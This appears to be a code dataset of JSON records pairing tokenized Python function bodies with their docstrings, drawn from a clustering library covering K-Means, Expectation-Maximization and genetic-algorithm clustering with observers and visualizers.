{"signature": "def __process_by_python(self):", "body": "maximum_change = float('<STR_LIT>')<EOL>iteration = <NUM_LIT:0><EOL>if self.__observer is not None:<EOL><INDENT>initial_clusters = self.__update_clusters()<EOL>self.__observer.notify(initial_clusters, self.__centers.tolist())<EOL><DEDENT>while maximum_change > self.__tolerance and iteration < self.__itermax:<EOL><INDENT>self.__clusters = self.__update_clusters()<EOL>updated_centers = self.__update_centers()  <EOL>if self.__observer is not None:<EOL><INDENT>self.__observer.notify(self.__clusters, updated_centers.tolist())<EOL><DEDENT>maximum_change = self.__calculate_changes(updated_centers)<EOL>self.__centers = updated_centers    <EOL>iteration += <NUM_LIT:1><EOL><DEDENT>self.__calculate_total_wce()<EOL>", "docstring": "!\n        @brief Performs cluster analysis using python code.", "id": "f15594:c2:m3"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()\n        @see get_centers()", "id": "f15594:c2:m4"}
{"signature": "def get_centers(self):", "body": "if isinstance(self.__centers, list):<EOL><INDENT>return self.__centers<EOL><DEDENT>return self.__centers.tolist()<EOL>", "docstring": "!\n        @brief Returns list of centers of allocated clusters.\n\n        @see process()\n        @see get_clusters()", "id": "f15594:c2:m5"}
{"signature": "def get_total_wce(self):", "body": "return self.__total_wce<EOL>", "docstring": "!\n        @brief Returns sum of metric errors that depends on metric that was used for clustering (by default SSE - Sum of Squared Errors).\n        @details Sum of metric errors is calculated using distance between point and its center:\n                 \\f[error=\\sum_{i=0}^{N}distance(x_{i}-center(x_{i}))\\f]\n\n        @see process()\n        @see get_clusters()", "id": "f15594:c2:m6"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15594:c2:m7"}
{"signature": "def __update_clusters(self):", "body": "clusters = [[] for _ in range(len(self.__centers))]<EOL>dataset_differences = self.__calculate_dataset_difference(len(clusters))<EOL>optimum_indexes = numpy.argmin(dataset_differences, axis=<NUM_LIT:0>)<EOL>for index_point in range(len(optimum_indexes)):<EOL><INDENT>index_cluster = optimum_indexes[index_point]<EOL>clusters[index_cluster].append(index_point)<EOL><DEDENT>clusters = [cluster for cluster in clusters if len(cluster) > <NUM_LIT:0>]<EOL>return clusters<EOL>", "docstring": "!\n        @brief Calculate distance (in line with specified metric) to each point from the each cluster. Nearest points\n                are captured by according clusters and as a result clusters are updated.\n\n        @return (list) Updated clusters as list of clusters. Each cluster contains indexes of objects from data.", "id": "f15594:c2:m8"}
{"signature": "def __update_centers(self):", "body": "dimension = self.__pointer_data.shape[<NUM_LIT:1>]<EOL>centers = numpy.zeros((len(self.__clusters), dimension))<EOL>for index in range(len(self.__clusters)):<EOL><INDENT>cluster_points = self.__pointer_data[self.__clusters[index], :]<EOL>centers[index] = cluster_points.mean(axis=<NUM_LIT:0>)<EOL><DEDENT>return numpy.array(centers)<EOL>", "docstring": "!\n        @brief Calculate centers of clusters in line with contained objects.\n\n        @return (numpy.array) Updated centers.", "id": "f15594:c2:m9"}
{"signature": "def __calculate_total_wce(self):", "body": "dataset_differences = self.__calculate_dataset_difference(len(self.__clusters))<EOL>self.__total_wce = <NUM_LIT:0><EOL>for index_cluster in range(len(self.__clusters)):<EOL><INDENT>for index_point in self.__clusters[index_cluster]:<EOL><INDENT>self.__total_wce += dataset_differences[index_cluster][index_point]<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Calculate total within cluster errors that is depend on metric that was chosen for K-Means algorithm.", "id": "f15594:c2:m10"}
{"signature": "def __calculate_dataset_difference(self, amount_clusters):", "body": "dataset_differences = numpy.zeros((amount_clusters, len(self.__pointer_data)))<EOL>for index_center in range(amount_clusters):<EOL><INDENT>if self.__metric.get_type() != type_metric.USER_DEFINED:<EOL><INDENT>dataset_differences[index_center] = self.__metric(self.__pointer_data, self.__centers[index_center])<EOL><DEDENT>else:<EOL><INDENT>dataset_differences[index_center] = [ self.__metric(point, self.__centers[index_center])<EOL>for point in self.__pointer_data ]<EOL><DEDENT><DEDENT>return dataset_differences<EOL>", "docstring": "!\n        @brief Calculate distance from each point to each cluster center.", "id": "f15594:c2:m11"}
{"signature": "def __calculate_changes(self, updated_centers):", "body": "if len(self.__centers) != len(updated_centers):<EOL><INDENT>maximum_change = float('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>changes = self.__metric(self.__centers, updated_centers)<EOL>maximum_change = numpy.max(changes)<EOL><DEDENT>return maximum_change<EOL>", "docstring": "!\n        @brief Calculates changes estimation between previous and current iteration using centers for that purpose.\n\n        @param[in] updated_centers (array_like): New cluster centers.\n\n        @return (float) Maximum changes between centers.", "id": "f15594:c2:m12"}
{"signature": "def gaussian(data, mean, covariance):", "body": "dimension = float(len(data[<NUM_LIT:0>]))<EOL>if dimension != <NUM_LIT:1.0>:<EOL><INDENT>inv_variance = numpy.linalg.pinv(covariance)<EOL><DEDENT>else:<EOL><INDENT>inv_variance = <NUM_LIT:1.0> / covariance<EOL><DEDENT>divider = (pi * <NUM_LIT>) ** (dimension / <NUM_LIT>) * numpy.sqrt(numpy.linalg.norm(covariance))<EOL>if divider != <NUM_LIT:0.0>:<EOL><INDENT>right_const = <NUM_LIT:1.0> / divider<EOL><DEDENT>else:<EOL><INDENT>right_const = float('<STR_LIT>')<EOL><DEDENT>result = []<EOL>for point in data:<EOL><INDENT>mean_delta = point - mean<EOL>point_gaussian = right_const * numpy.exp( -<NUM_LIT:0.5> * mean_delta.dot(inv_variance).dot(numpy.transpose(mean_delta)) )<EOL>result.append(point_gaussian)<EOL><DEDENT>return result<EOL>", "docstring": "!\n    @brief Calculates gaussian for dataset using specified mean (mathematical expectation) and variance or covariance in case\n            multi-dimensional data.\n\n    @param[in] data (list): Data that is used for gaussian calculation.\n    @param[in] mean (float|numpy.array): Mathematical expectation used for calculation.\n    @param[in] covariance (float|numpy.array): Variance or covariance matrix for calculation.\n\n    @return (list) Value of gaussian function for each point in dataset.", "id": "f15595:m0"}
{"signature": "def __init__(self, sample, amount):", "body": "self.__sample = sample<EOL>self.__amount = amount<EOL>", "docstring": "!\n        @brief Constructs EM initializer.\n\n        @param[in] sample (list): Data that will be used by the EM algorithm.\n        @param[in] amount (uint): Amount of clusters that should be allocated by the EM algorithm.", "id": "f15595:c1:m0"}
{"signature": "def initialize(self, init_type = ema_init_type.KMEANS_INITIALIZATION):", "body": "if init_type == ema_init_type.KMEANS_INITIALIZATION:<EOL><INDENT>return self.__initialize_kmeans()<EOL><DEDENT>elif init_type == ema_init_type.RANDOM_INITIALIZATION:<EOL><INDENT>return self.__initialize_random()<EOL><DEDENT>raise NameError(\"<STR_LIT>\")<EOL>", "docstring": "!\n        @brief Calculates initial parameters for EM algorithm: means and covariances using\n                specified strategy.\n\n        @param[in] init_type (ema_init_type): Strategy for initialization.\n\n        @return (float|list, float|numpy.array) Initial means and variance (covariance matrix in case multi-dimensional data).", "id": "f15595:c1:m1"}
{"signature": "def __calculate_initial_clusters(self, centers):", "body": "clusters = [[] for _ in range(len(centers))]<EOL>for index_point in range(len(self.__sample)):<EOL><INDENT>index_optim, dist_optim = -<NUM_LIT:1>, <NUM_LIT:0.0><EOL>for index in range(len(centers)):<EOL><INDENT>dist = euclidean_distance_square(self.__sample[index_point], centers[index])<EOL>if (dist < dist_optim) or (index is <NUM_LIT:0>):<EOL><INDENT>index_optim, dist_optim = index, dist<EOL><DEDENT><DEDENT>clusters[index_optim].append(index_point)<EOL><DEDENT>return clusters<EOL>", "docstring": "!\n        @brief Calculate Euclidean distance to each point from the each cluster. \n        @brief Nearest points are captured by according clusters and as a result clusters are updated.\n\n        @return (list) updated clusters as list of clusters. Each cluster contains indexes of objects from data.", "id": "f15595:c1:m2"}
{"signature": "def __init__(self):", "body": "self.__means_evolution = []<EOL>self.__covariances_evolution = []<EOL>self.__clusters_evolution = []<EOL>", "docstring": "!\n        @brief Initializes EM observer.", "id": "f15595:c2:m0"}
{"signature": "def __len__(self):", "body": "return len(self.__means_evolution)<EOL>", "docstring": "!\n        @return (uint) Amount of iterations that were done by the EM algorithm.", "id": "f15595:c2:m1"}
{"signature": "def get_iterations(self):", "body": "return len(self.__means_evolution)<EOL>", "docstring": "!\n        @return (uint) Amount of iterations that were done by the EM algorithm.", "id": "f15595:c2:m2"}
{"signature": "def get_evolution_means(self):", "body": "return self.__means_evolution<EOL>", "docstring": "!\n        @return (list) Mean of each cluster on each step of clustering.", "id": "f15595:c2:m3"}
{"signature": "def get_evolution_covariances(self):", "body": "return self.__covariances_evolution<EOL>", "docstring": "!\n        @return (list) Covariance matrix (or variance in case of one-dimensional data) of each cluster on each step of clustering.", "id": "f15595:c2:m4"}
{"signature": "def get_evolution_clusters(self):", "body": "return self.__clusters_evolution<EOL>", "docstring": "!\n        @return (list) Allocated clusters on each step of clustering.", "id": "f15595:c2:m5"}
{"signature": "def notify(self, means, covariances, clusters):", "body": "self.__means_evolution.append(means)<EOL>self.__covariances_evolution.append(covariances)<EOL>self.__clusters_evolution.append(clusters)<EOL>", "docstring": "!\n        @brief This method is used by the algorithm to notify observer about changes where the algorithm\n                should provide new values: means, covariances and allocated clusters.\n\n        @param[in] means (list): Mean of each cluster on currect step.\n        @param[in] covariances (list): Covariances of each cluster on current step.\n        @param[in] clusters (list): Allocated cluster on current step.", "id": "f15595:c2:m6"}
{"signature": "@staticmethod<EOL><INDENT>def show_clusters(clusters, sample, covariances, means, figure = None, display = True):<DEDENT>", "body": "visualizer = cluster_visualizer()<EOL>visualizer.append_clusters(clusters, sample)<EOL>if figure is None:<EOL><INDENT>figure = visualizer.show(display = False)<EOL><DEDENT>else:<EOL><INDENT>visualizer.show(figure = figure, display = False)<EOL><DEDENT>if len(sample[<NUM_LIT:0>]) == <NUM_LIT:2>:<EOL><INDENT>ema_visualizer.__draw_ellipses(figure, visualizer, clusters, covariances, means)<EOL><DEDENT>if display is True:<EOL><INDENT>plt.show()<EOL><DEDENT>return figure<EOL>", "docstring": "!\n        @brief Draws clusters and in case of two-dimensional dataset draws their ellipses.\n\n        @param[in] clusters (list): Clusters that were allocated by the algorithm.\n        @param[in] sample (list): Dataset that were used for clustering.\n        @param[in] covariances (list): Covariances of the clusters.\n        @param[in] means (list): Means of the clusters.\n        @param[in] figure (figure): If 'None' then new is figure is creater, otherwise specified figure is used\n                    for visualization.\n        @param[in] display (bool): If 'True' then figure will be shown by the method, otherwise it should be\n                    shown manually using matplotlib function 'plt.show()'.\n\n        @return (figure) Figure where clusters were drawn.", "id": "f15595:c3:m0"}
{"signature": "@staticmethod<EOL><INDENT>def animate_cluster_allocation(data, observer, animation_velocity = <NUM_LIT>, movie_fps = <NUM_LIT:1>, save_movie = None):<DEDENT>", "body": "figure = plt.figure()<EOL>def init_frame():<EOL><INDENT>return frame_generation(<NUM_LIT:0>)<EOL><DEDENT>def frame_generation(index_iteration):<EOL><INDENT>figure.clf()<EOL>figure.suptitle(\"<STR_LIT>\" + str(index_iteration) +\"<STR_LIT:)>\", fontsize = <NUM_LIT>, fontweight = '<STR_LIT>')<EOL>clusters = observer.get_evolution_clusters()[index_iteration]<EOL>covariances = observer.get_evolution_covariances()[index_iteration]<EOL>means = observer.get_evolution_means()[index_iteration]<EOL>ema_visualizer.show_clusters(clusters, data, covariances, means, figure, False)<EOL>figure.subplots_adjust(top = <NUM_LIT>)<EOL>return [ figure.gca() ]<EOL><DEDENT>iterations = len(observer)<EOL>cluster_animation = animation.FuncAnimation(figure, frame_generation, iterations, interval = animation_velocity, init_func = init_frame, repeat_delay = <NUM_LIT>)<EOL>if save_movie is not None:<EOL><INDENT>cluster_animation.save(save_movie, writer = '<STR_LIT>', fps = movie_fps, bitrate = <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>plt.show()<EOL><DEDENT>", "docstring": "!\n        @brief Animates clustering process that is performed by EM algorithm.\n\n        @param[in] data (list): Dataset that is used for clustering.\n        @param[in] observer (ema_observer): EM observer that was used for collection information about clustering process.\n        @param[in] animation_velocity (uint): Interval between frames in milliseconds (for run-time animation only).\n        @param[in] movie_fps (uint): Defines frames per second (for rendering movie only).\n        @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter.", "id": "f15595:c3:m1"}
{"signature": "def __init__(self, data, amount_clusters, means = None, variances = None, observer = None, tolerance = <NUM_LIT>, iterations = <NUM_LIT:100>):", "body": "self.__data = numpy.array(data)<EOL>self.__amount_clusters = amount_clusters<EOL>self.__tolerance = tolerance<EOL>self.__iterations = iterations<EOL>self.__observer = observer<EOL>self.__means = means<EOL>self.__variances = variances<EOL>if (means is None) or (variances is None):<EOL><INDENT>self.__means, self.__variances = ema_initializer(data, amount_clusters).initialize(ema_init_type.KMEANS_INITIALIZATION)<EOL>if len(self.__means) != amount_clusters:<EOL><INDENT>self.__amount_clusters = len(self.__means)<EOL><DEDENT><DEDENT>self.__rc = [ [<NUM_LIT:0.0>] * len(self.__data) for _ in range(amount_clusters) ]<EOL>self.__pic = [<NUM_LIT:1.0>] * amount_clusters<EOL>self.__clusters = []<EOL>self.__gaussians = [ [] for _ in range(amount_clusters) ]<EOL>self.__stop = False<EOL>", "docstring": "!\n        @brief Initializes Expectation-Maximization algorithm for cluster analysis.\n\n        @param[in] data (list): Dataset that should be analysed and where each point (object) is represented by the list of coordinates.\n        @param[in] amount_clusters (uint): Amount of clusters that should be allocated.\n        @param[in] means (list): Initial means of clusters (amount of means should be equal to amount of clusters for allocation).\n                    If this parameter is 'None' then K-Means algorithm with K-Means++ method will be used for initialization by default.\n        @param[in] variances (list): Initial cluster variances (or covariances in case of multi-dimensional data). Amount of\n                    covariances should be equal to amount of clusters that should be allocated. If this parameter is 'None' then\n                    K-Means algorithm with K-Means++ method will be used for initialization by default.\n        @param[in] observer (ema_observer): Observer for gathering information about clustering process.\n        @param[in] tolerance (float): Defines stop condition of the algorithm (when difference between current and\n                    previous log-likelihood estimation is less then 'tolerance' then clustering is over).\n        @param[in] iterations (uint): Additional stop condition parameter that defines maximum number of steps that can be\n                    performed by the algorithm during clustering process.", "id": "f15595:c4:m0"}
{"signature": "def process(self):", "body": "previous_likelihood = -<NUM_LIT><EOL>current_likelihood = -<NUM_LIT><EOL>current_iteration = <NUM_LIT:0><EOL>while(self.__stop is False) and (abs(previous_likelihood - current_likelihood) > self.__tolerance) and (current_iteration < self.__iterations):<EOL><INDENT>self.__expectation_step()<EOL>self.__maximization_step()<EOL>current_iteration += <NUM_LIT:1><EOL>self.__extract_clusters()<EOL>self.__notify()<EOL>previous_likelihood = current_likelihood<EOL>current_likelihood = self.__log_likelihood()<EOL>self.__stop = self.__get_stop_condition()<EOL><DEDENT>self.__normalize_probabilities()<EOL>", "docstring": "!\n        @brief Run clustering process of the algorithm.\n        @details This method should be called before call 'get_clusters()'.", "id": "f15595:c4:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @return (list) Allocated clusters where each cluster is represented by list of indexes of points from dataset,\n                        for example, two cluster may have following representation [[0, 1, 4], [2, 3, 5, 6]].", "id": "f15595:c4:m2"}
{"signature": "def get_centers(self):", "body": "return self.__means<EOL>", "docstring": "!\n        @return (list) Corresponding centers (means) of clusters.", "id": "f15595:c4:m3"}
{"signature": "def get_covariances(self):", "body": "return self.__variances<EOL>", "docstring": "!\n        @return (list) Corresponding variances (or covariances in case of multi-dimensional data) of clusters.", "id": "f15595:c4:m4"}
{"signature": "def get_probabilities(self):", "body": "return self.__rc<EOL>", "docstring": "!\n        @brief Returns 2-dimensional list with belong probability of each object from data to cluster correspondingly,\n                where that first index is for cluster and the second is for point.\n\n        @code\n            # Get belong probablities\n            probabilities = ema_instance.get_probabilities();\n\n            # Show porbability of the fifth element in the first and in the second cluster\n            index_point = 5;\n            print(\"Probability in the first cluster:\", probabilities[0][index_point]);\n            print(\"Probability in the first cluster:\", probabilities[1][index_point]);\n        @endcode\n\n        @return (list) 2-dimensional list with belong probability of each object from data to cluster.", "id": "f15595:c4:m5"}
{"signature": "def __init__(self, need_global_best=False, need_population_best=False, need_mean_ff=False):", "body": "<EOL>self._global_best_result = {'<STR_LIT>': [], '<STR_LIT>': []}<EOL>self._best_population_result = {'<STR_LIT>': [], '<STR_LIT>': []}<EOL>self._mean_ff_result = []<EOL>self._need_global_best = need_global_best<EOL>self._need_population_best = need_population_best<EOL>self._need_mean_ff = need_mean_ff<EOL>", "docstring": "!\n        @brief Constructs genetic algorithm observer to collect specific information.\n\n        @param[in] need_global_best (bool): If 'True' then the best chromosomes and its fitness function value (global optimum) for each iteration are stored.\n        @param[in] need_population_best (bool): If 'True' then current (on each iteration) best chromosomes and its fitness function value (local optimum) are stored.\n        @param[in] need_mean_ff (bool): If 'True' then average value of fitness function on each iteration is stored.", "id": "f15596:c0:m0"}
{"signature": "def __len__(self):", "body": "global_length = len(self._global_best_result['<STR_LIT>'])<EOL>local_length = len(self._best_population_result['<STR_LIT>'])<EOL>average_length = len(self._mean_ff_result)<EOL>return max(global_length, local_length, average_length)<EOL>", "docstring": "!\n        @brief Returns amount of iterations that genetic algorithm was observed.", "id": "f15596:c0:m1"}
{"signature": "def collect_global_best(self, best_chromosome, best_fitness_function):", "body": "if not self._need_global_best:<EOL><INDENT>return<EOL><DEDENT>self._global_best_result['<STR_LIT>'].append(best_chromosome)<EOL>self._global_best_result['<STR_LIT>'].append(best_fitness_function)<EOL>", "docstring": "!\n        @brief Stores the best chromosome and its fitness function's value.\n\n        @param[in] best_chromosome (list): The best chromosome that were observed.\n        @param[in] best_fitness_function (float): Fitness function value of the best chromosome.", "id": "f15596:c0:m2"}
{"signature": "def collect_population_best(self, best_chromosome, best_fitness_function):", "body": "if not self._need_population_best:<EOL><INDENT>return<EOL><DEDENT>self._best_population_result['<STR_LIT>'].append(best_chromosome)<EOL>self._best_population_result['<STR_LIT>'].append(best_fitness_function)<EOL>", "docstring": "!\n        @brief Stores the best chromosome for current specific iteration and its fitness function's value.\n\n        @param[in] best_chromosome (list): The best chromosome on specific iteration.\n        @param[in] best_fitness_function (float): Fitness function value of the chromosome.", "id": "f15596:c0:m3"}
{"signature": "def collect_mean(self, fitness_functions):", "body": "if not self._need_mean_ff:<EOL><INDENT>return<EOL><DEDENT>self._mean_ff_result.append(np.mean(fitness_functions))<EOL>", "docstring": "!\n        @brief Stores average value of fitness function among chromosomes on specific iteration.\n\n        @param[in] fitness_functions (float): Average value of fitness functions among chromosomes.", "id": "f15596:c0:m4"}
{"signature": "def get_global_best(self):", "body": "return self._global_best_result<EOL>", "docstring": "!\n        @return (dict) Returns dictionary with keys 'chromosome' and 'fitness_function' where evolution of the best chromosome\n                 and its fitness function's value (evolution of global optimum) are stored in lists.", "id": "f15596:c0:m5"}
{"signature": "def get_population_best(self):", "body": "return self._best_population_result<EOL>", "docstring": "!\n        @brief (dict) Returns dictionary with keys 'chromosome' and 'fitness_function' where evolution of the current best chromosome\n                 and its fitness function's value (evolution of local optimum) are stored in lists.", "id": "f15596:c0:m6"}
{"signature": "def get_mean_fitness_function(self):", "body": "return self._mean_ff_result<EOL>", "docstring": "!\n        @brief (list) Returns fitness function's values on each iteration.", "id": "f15596:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def show_evolution(observer, start_iteration = <NUM_LIT:0>, stop_iteration=None, ax=None, display=True):<DEDENT>", "body": "if (ax is None):<EOL><INDENT>_, ax = plt.subplots(<NUM_LIT:1>)<EOL>ax.set_title(\"<STR_LIT>\")<EOL><DEDENT>if stop_iteration is None:<EOL><INDENT>stop_iteration = len(observer)<EOL><DEDENT>line_best, = ax.plot(observer.get_global_best()['<STR_LIT>'][start_iteration:stop_iteration], '<STR_LIT:r>')<EOL>line_current, = ax.plot(observer.get_population_best()['<STR_LIT>'][start_iteration:stop_iteration], '<STR_LIT:k>')<EOL>line_mean, = ax.plot(observer.get_mean_fitness_function()[start_iteration:stop_iteration], '<STR_LIT:c>')<EOL>if start_iteration < (stop_iteration - <NUM_LIT:1>):<EOL><INDENT>ax.set_xlim([start_iteration, (stop_iteration - <NUM_LIT:1>)])<EOL><DEDENT>ax.set_xlabel(\"<STR_LIT>\")<EOL>ax.set_ylabel(\"<STR_LIT>\")<EOL>ax.legend([line_best, line_current, line_mean], [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"], prop={'<STR_LIT:size>': <NUM_LIT:10>})<EOL>ax.grid()<EOL>if display is True:<EOL><INDENT>plt.show()<EOL><DEDENT>return ax<EOL>", "docstring": "!\n        @brief Displays evolution of fitness function for the best chromosome, for the current best chromosome and\n                average value among all chromosomes.\n\n        @param[in] observer (ga_observer): Genetic algorithm observer that was used for collecting evolution in the algorithm and\n                    where whole required information for visualization is stored.\n        @param[in] start_iteration (uint): Iteration from that evolution should be shown.\n        @param[in] stop_iteration (uint): Iteration after that evolution shouldn't be shown.\n        @param[in] ax (Axes): Canvas where evolution should be displayed.\n        @param[in] display (bool): If 'True' then visualization of the evolution will be shown by the function.\n                    This argument should be 'False' if you want to add something else to the canvas and display it later.\n\n        @return (Axis) Canvas where evolution was shown.", "id": "f15596:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def show_clusters(data, observer, marker='<STR_LIT:.>', markersize=None):<DEDENT>", "body": "figure = plt.figure()<EOL>ax1 = figure.add_subplot(<NUM_LIT>)<EOL>clusters = ga_math.get_clusters_representation(observer.get_global_best()['<STR_LIT>'][-<NUM_LIT:1>])<EOL>visualizer = cluster_visualizer(<NUM_LIT:1>, <NUM_LIT:2>)<EOL>visualizer.append_clusters(clusters, data, <NUM_LIT:0>, marker, markersize)<EOL>visualizer.show(figure, display=False)<EOL>ga_visualizer.show_evolution(observer, <NUM_LIT:0>, None, ax1, True)<EOL>", "docstring": "!\n        @brief Shows allocated clusters by the genetic algorithm.\n\n        @param[in] data (list): Input data that was used for clustering process by the algorithm.\n        @param[in] observer (ga_observer): Observer that was used for collection information about clustering process.\n        @param[in] marker (char): Type of marker that should be used for object (point) representation.\n        @param[in] markersize (uint): Size of the marker that is used for object (point) representation.\n\n        @note If you have clusters instead of observer then 'cluster_visualizer' can be used for visualization purposes.\n\n        @see cluster_visualizer", "id": "f15596:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def animate_cluster_allocation(data, observer, animation_velocity=<NUM_LIT>, movie_fps=<NUM_LIT:5>, save_movie=None):<DEDENT>", "body": "figure = plt.figure()<EOL>def init_frame():<EOL><INDENT>return frame_generation(<NUM_LIT:0>)<EOL><DEDENT>def frame_generation(index_iteration):<EOL><INDENT>figure.clf()<EOL>figure.suptitle(\"<STR_LIT>\" + str(index_iteration) + \"<STR_LIT:)>\", fontsize=<NUM_LIT>, fontweight='<STR_LIT>')<EOL>visualizer = cluster_visualizer(<NUM_LIT:4>, <NUM_LIT:2>, [\"<STR_LIT>\" + str(index_iteration), \"<STR_LIT>\"])<EOL>local_minimum_clusters = ga_math.get_clusters_representation(observer.get_population_best()['<STR_LIT>'][index_iteration])<EOL>visualizer.append_clusters(local_minimum_clusters, data, <NUM_LIT:0>)<EOL>global_minimum_clusters = ga_math.get_clusters_representation(observer.get_global_best()['<STR_LIT>'][index_iteration])<EOL>visualizer.append_clusters(global_minimum_clusters, data, <NUM_LIT:1>)<EOL>ax1 = plt.subplot2grid((<NUM_LIT:2>, <NUM_LIT:2>), (<NUM_LIT:1>, <NUM_LIT:0>), colspan=<NUM_LIT:2>)<EOL>ga_visualizer.show_evolution(observer, <NUM_LIT:0>, index_iteration + <NUM_LIT:1>, ax1, False)<EOL>visualizer.show(figure, shift=<NUM_LIT:0>, display=False)<EOL>figure.subplots_adjust(top=<NUM_LIT>)<EOL>return [figure.gca()]<EOL><DEDENT>iterations = len(observer)<EOL>cluster_animation = animation.FuncAnimation(figure, frame_generation, iterations, interval=animation_velocity, init_func=init_frame, repeat_delay=<NUM_LIT>)<EOL>if save_movie is not None:<EOL><INDENT>cluster_animation.save(save_movie, writer='<STR_LIT>', fps=movie_fps, bitrate=<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>plt.show()<EOL><DEDENT>", "docstring": "!\n        @brief Animate clustering process of genetic clustering algorithm.\n        @details This method can be also used for rendering movie of clustering process and 'ffmpeg' is required for that purpuse.\n\n        @param[in] data (list): Input data that was used for clustering process by the algorithm.\n        @param[in] observer (ga_observer): Observer that was used for collection information about clustering process.\n                    Be sure that whole information was collected by the observer.\n        @param[in] animation_velocity (uint): Interval between frames in milliseconds (for run-time animation only).\n        @param[in] movie_fps (uint): Defines frames per second (for rendering movie only).\n        @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter.", "id": "f15596:c1:m2"}
{"signature": "def __init__(self, data, count_clusters, chromosome_count, population_count, **kwargs):", "body": "<EOL>np.random.seed()<EOL>if type(data) is list:<EOL><INDENT>self._data = np.array(data)<EOL><DEDENT>else:<EOL><INDENT>self._data = data<EOL><DEDENT>self._count_clusters = count_clusters<EOL>self._chromosome_count = chromosome_count<EOL>self._population_count = population_count<EOL>self._count_mutation_gens = kwargs.get('<STR_LIT>', <NUM_LIT:2>)<EOL>self._crossover_rate = kwargs.get('<STR_LIT>', <NUM_LIT:1.0>)<EOL>self._coeff_mutation_count = kwargs.get('<STR_LIT>', <NUM_LIT>)<EOL>self._select_coeff = kwargs.get('<STR_LIT>', <NUM_LIT:1.0>)<EOL>self._result_clustering = {'<STR_LIT>': [],<EOL>'<STR_LIT>': <NUM_LIT:0.0>}<EOL>self._observer = kwargs.get('<STR_LIT>', ga_observer())<EOL>", "docstring": "!\n        @brief Initialize genetic clustering algorithm for cluster analysis.\n\n        @param[in] data (numpy.array|list): Input data for clustering that is represented by two dimensional array\n                    where each row is a point, for example, [[0.0, 2.1], [0.1, 2.0], [-0.2, 2.4]].\n        @param[in] count_clusters (uint): Amount of clusters that should be allocated in the data.\n        @param[in] chromosome_count (uint): Amount of chromosomes in each population.\n        @param[in] population_count (uint): Amount of populations.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'count_mutation_gens', 'coeff_mutation_count', 'select_coeff', 'crossover_rate', 'observer').\n\n        <b>Keyword Args:</b><br>\n            - count_mutation_gens (uint): Amount of genes in chromosome that is mutated on each step.\n            - coeff_mutation_count (float): Percent of chromosomes for mutation, distributed in range (0, 1] and\n               thus amount of chromosomes is defined as follows: 'chromosome_count' * 'coeff_mutation_count'.\n            - select_coeff (float): Exponential coefficient for selection procedure that is used as follows:\n               math.exp(1 + fitness(chromosome) * select_coeff).\n            - crossover_rate (float): Crossover rate.\n            - observer (ga_observer): Observer that is used for collecting information of about clustering process on each step.", "id": "f15596:c2:m0"}
{"signature": "def process(self):", "body": "<EOL>chromosomes = self._init_population(self._count_clusters, len(self._data), self._chromosome_count)<EOL>best_chromosome, best_ff, first_fitness_functions= self._get_best_chromosome(chromosomes, self._data, self._count_clusters)<EOL>if self._observer is not None:<EOL><INDENT>self._observer.collect_global_best(best_chromosome, best_ff)<EOL>self._observer.collect_population_best(best_chromosome, best_ff)<EOL>self._observer.collect_mean(first_fitness_functions)<EOL><DEDENT>for _ in range(self._population_count):<EOL><INDENT>chromosomes = self._select(chromosomes, self._data, self._count_clusters, self._select_coeff)<EOL>self._crossover(chromosomes)<EOL>self._mutation(chromosomes, self._count_clusters, self._count_mutation_gens, self._coeff_mutation_count)<EOL>new_best_chromosome, new_best_ff, fitness_functions= self._get_best_chromosome(chromosomes, self._data, self._count_clusters)<EOL>if new_best_ff < best_ff:<EOL><INDENT>best_ff = new_best_ff<EOL>best_chromosome = new_best_chromosome<EOL><DEDENT>if self._observer is not None:<EOL><INDENT>self._observer.collect_global_best(best_chromosome, best_ff)<EOL>self._observer.collect_population_best(new_best_chromosome, new_best_ff)<EOL>self._observer.collect_mean(fitness_functions)<EOL><DEDENT><DEDENT>self._result_clustering['<STR_LIT>'] = best_chromosome<EOL>self._result_clustering['<STR_LIT>'] = best_ff<EOL>return best_chromosome, best_ff<EOL>", "docstring": "!\n        @brief Perform clustering procedure in line with rule of genetic clustering algorithm.\n\n        @see get_clusters()", "id": "f15596:c2:m1"}
{"signature": "def get_observer(self):", "body": "return self._observer<EOL>", "docstring": "!\n        @brief Returns genetic algorithm observer.", "id": "f15596:c2:m2"}
{"signature": "def get_clusters(self):", "body": "return ga_math.get_clusters_representation(self._result_clustering['<STR_LIT>'], self._count_clusters)<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects from the data.\n\n        @return (list) List of allocated clusters.\n\n        @see process()", "id": "f15596:c2:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _select(chromosomes, data, count_clusters, select_coeff):<DEDENT>", "body": "<EOL>centres = ga_math.get_centres(chromosomes, data, count_clusters)<EOL>fitness = genetic_algorithm._calc_fitness_function(centres, data, chromosomes)<EOL>for _idx in range(len(fitness)):<EOL><INDENT>fitness[_idx] = math.exp(<NUM_LIT:1> + fitness[_idx] * select_coeff)<EOL><DEDENT>probabilities = ga_math.calc_probability_vector(fitness)<EOL>new_chromosomes = np.zeros(chromosomes.shape, dtype=np.int)<EOL>for _idx in range(len(chromosomes)):<EOL><INDENT>new_chromosomes[_idx] = chromosomes[ga_math.get_uniform(probabilities)]<EOL><DEDENT>return new_chromosomes<EOL>", "docstring": "!\n        @brief Performs selection procedure where new chromosomes are calculated.\n\n        @param[in] chromosomes (numpy.array): Chromosomes", "id": "f15596:c2:m4"}
